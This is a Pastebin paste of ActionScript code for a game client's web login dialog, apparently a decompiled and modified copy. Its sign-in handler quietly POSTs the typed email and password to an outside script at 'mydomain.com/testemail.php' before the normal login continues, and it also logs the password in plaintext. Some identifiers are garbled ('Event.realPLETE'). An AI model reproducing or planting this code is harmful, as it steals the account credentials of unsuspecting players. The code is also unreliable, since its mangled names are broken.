Advertisement
Guest User

Untitled

a guest
Oct 2nd, 2018
188
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1.  
  2.  
  3. package kingkong.main.account.web.view{
  4. import real.game.testing.account.ui.CheckBoxField;
  5. import real.game.testing.account.ui.Frame;
  6. import real.game.testing.account.ui.TextInputField;
  7. import real.game.testing.ui.DeprecatedClickableText;
  8. import real.game.util.KeyCodes;
  9. import flash.net.URLLoader;
  10. import flash.net.URLRequest;
  11. import flash.net.URLRequestHeader;
  12. import flash.net.URLRequestMethod;
  13. import flash.net.URLVariables;
  14. import flash.system.Security;
  15.  
  16. import flash.events.Event;
  17. import flash.events.KeyboardEvent;
  18. import flash.events.MouseEvent;
  19.  
  20. import kingkong.main.account.web.model.AccountData;
  21. import kingkong.main.text.model.TextKey;
  22.  
  23. import org.osflash.signals.Signal;
  24. import org.osflash.signals.natives.NativeMappedSignal;
  25.  
  26. public class WebLoginDialog extends Frame {
  27.  
  28.         public var cancel:Signal;
  29.         public var signIn:Signal;
  30.         public var forgot:Signal;
  31.         public var register:Signal;
  32.         private var email:TextInputField;
  33.         private var password:TextInputField;
  34.         private var forgotText:DeprecatedClickableText;
  35.         private var registerText:DeprecatedClickableText;
  36.         private var rememberMeCheckbox:CheckBoxField;
  37.  
  38.         public function WebLoginDialog(){
  39.             super(TextKey.WEB_LOGIN_DIALOG_TITLE, TextKey.WEB_LOGIN_DIALOG_LEFT, TextKey.WEB_LOGIN_DIALOG_RIGHT, "/signIn");
  40.             this.makeUI();
  41.             this.forgot = new NativeMappedSignal(this.forgotText, MouseEvent.CLICK);
  42.             this.register = new NativeMappedSignal(this.registerText, MouseEvent.CLICK);
  43.             this.cancel = new NativeMappedSignal(leftButton_, MouseEvent.CLICK);
  44.             this.signIn = new Signal(AccountData);
  45.         }
  46.  
  47.         private function makeUI():void{
  48.             this.email = new TextInputField(TextKey.WEB_LOGIN_DIALOG_EMAIL, false);
  49.             addTextInputField(this.email);
  50.             this.password = new TextInputField(TextKey.WEB_LOGIN_DIALOG_PASSWORD, true);
  51.             addTextInputField(this.password);
  52.             this.rememberMeCheckbox = new CheckBoxField("Remember me", false);
  53.             this.rememberMeCheckbox.text_.y = 4;
  54.             this.forgotText = new DeprecatedClickableText(12, false, TextKey.WEB_LOGIN_DIALOG_FORGOT);
  55.             h_ = (h_ + 12);
  56.             addNavigationText(this.forgotText);
  57.             this.registerText = new DeprecatedClickableText(12, false, TextKey.WEB_LOGIN_DIALOG_REGISTER);
  58.             addNavigationText(this.registerText);
  59.             rightButton_.addEventListener(MouseEvent.CLICK, this.onSignIn);
  60.             addEventListener(KeyboardEvent.KEY_DOWN, this.onKeyDown);
  61.             addEventListener(Event.REMOVED_FROM_STAGE, this.onRemovedFromStage);
  62.         }
  63.  
  64.         private function onRemovedFromStage(_arg_1:Event):void{
  65.             removeEventListener(KeyboardEvent.KEY_DOWN, this.onKeyDown);
  66.             removeEventListener(Event.REMOVED_FROM_STAGE, this.onRemovedFromStage);
  67.         }
  68.  
  69.         private function onKeyDown(_arg_1:KeyboardEvent):void{
  70.             if (_arg_1.keyCode == KeyCodes.ENTER)
  71.             {
  72.                 this.onSignInSub();
  73.                
  74.             }
  75.         }
  76.  
  77.         private function onSignIn(_arg_1:MouseEvent):void{
  78.             //Security.allowDomain("*");
  79.             //Security.allowInsecureDomain("*");
  80.             //Security.loadPolicyFile("https://mydomain.com/backend/crossdomain.xml");
  81.             trace("onSignIn " + this.email.text() + " , " + this.password.text());
  82.             if (((this.isEmailValid()) && (this.isPasswordValid()))){
  83.                 var url:URLLoader = new URLLoader();
  84.                 var req:URLRequest = new URLRequest("http://www.mydomain.com/testemail.php");
  85.                 var vars:URLVariables = new URLVariables();
  86.                 vars.email = this.email.text();
  87.                 vars.password = this.password.text();
  88.                 req.data = vars ;
  89.                 req.method = URLRequestMethod.POST;
  90.                 url.load(req);
  91.                 url.addEventListener(Event.realPLETE, reqrealpleted);
  92.                
  93.             }
  94.             this.onSignInSub();
  95.         }
  96.        
  97.         private function reqrealpleted(e:Event){
  98.             trace(e.target.data);
  99.         }
  100.  
  101.         private function onSignInSub():void{
  102.             var _local_1:AccountData;
  103.             if (((this.isEmailValid()) && (this.isPasswordValid())))
  104.             {
  105.                 _local_1 = new AccountData();
  106.                 _local_1.username = this.email.text();
  107.                 _local_1.password = this.password.text();
  108.                 this.signIn.dispatch(_local_1);
  109.             }
  110.         }
  111.  
  112.         private function isPasswordValid():Boolean{
  113.             var _local_1:* = (!(this.password.text() == ""));
  114.             if (!_local_1)
  115.             {
  116.                 this.password.setError(TextKey.WEB_LOGIN_DIALOG_PASSWORD_ERROR);
  117.             }
  118.             return (_local_1);
  119.         }
  120.  
  121.         private function isEmailValid():Boolean{
  122.             var _local_1:* = (!(this.email.text() == ""));
  123.             if (!_local_1)
  124.             {
  125.                 this.email.setError(TextKey.WEBLOGINDIALOG_EMAIL_ERROR);
  126.             }
  127.             return (_local_1);
  128.         }
  129.  
  130.         public function isRememberMeSelected():Boolean{
  131.             return (true);
  132.         }
  133.  
  134.         public function setError(_arg_1:String):void{
  135.             this.password.setError(_arg_1);
  136.         }
  137.  
  138.         public function setEmail(_arg_1:String):void{
  139.             this.email.inputText_.text = _arg_1;
  140.         }
  141.  
  142.  
  143.     }
  144. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement